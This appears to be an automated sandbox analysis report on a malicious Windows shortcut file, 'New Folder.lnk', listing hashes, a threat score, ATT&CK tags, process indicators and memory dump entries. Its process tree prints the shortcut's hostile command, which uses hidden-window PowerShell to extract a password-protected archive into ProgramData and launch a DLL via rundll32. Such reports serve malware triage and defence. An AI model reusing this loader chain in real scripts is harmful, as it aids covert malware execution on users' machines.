0e859acbd03e59eae287b124803ec052cf027b519e608c7ccfd920044b9ee1c7

Analysis

Target
New Folder.lnk
Size 1KB
Sample220526-t3xe3ahack
SHA256 315b3d80643da454b40cc938a0e8794f90ccbd05868e55b4848cacbf047850ae
MD5 fd21be3db76b714cb4dfae779d1ada1f
SHA1 8157b198c00de0a19b1d02ae7b76c78857baccd2
SHA512 1c06c3094c47bbfa187f0bb9cb85e76ccc3e715048a0459382c8da28721e774de64a132c716b1bcce6175d769fce296d82e864b90b8aa9e8b27678a40336e0e2
MD5 SHA1 SHA512

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
472	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	472	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1008 wrote to memory of 1912	1008	cmd.exe	29
PID 1008 wrote to memory of 1912	1008	cmd.exe	29
PID 1008 wrote to memory of 1912	1008	cmd.exe	29
PID 1912 wrote to memory of 472	1912	cmd.exe	30
PID 1912 wrote to memory of 472	1912	cmd.exe	30
PID 1912 wrote to memory of 472	1912	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\New Folder.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:1008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -WindowStyle Hidden -Command ".\7za.exe x arch.7z -p434330cf2449 -o\"c:\programdata\" -y > $null; rundll32 c:\programdata\arch.dll,oUlluzkNOs
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1912
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command ".\7za.exe x arch.7z -p434330cf2449 -o\"c:\programdata\" -y > $null; rundll32 c:\programdata\arch.dll,oUlluzkNOs
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:472

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/472-94-0x000007FEF3420000-0x000007FEF3F7D000-memory.dmp

Download

memory/472-96-0x0000000002914000-0x0000000002917000-memory.dmp

Download

memory/472-95-0x000000001B820000-0x000000001BB1F000-memory.dmp

Download

memory/472-97-0x000000000291B000-0x000000000293A000-memory.dmp

Download

memory/1008-54-0x000007FEFBA51000-0x000007FEFBA53000-memory.dmp

Download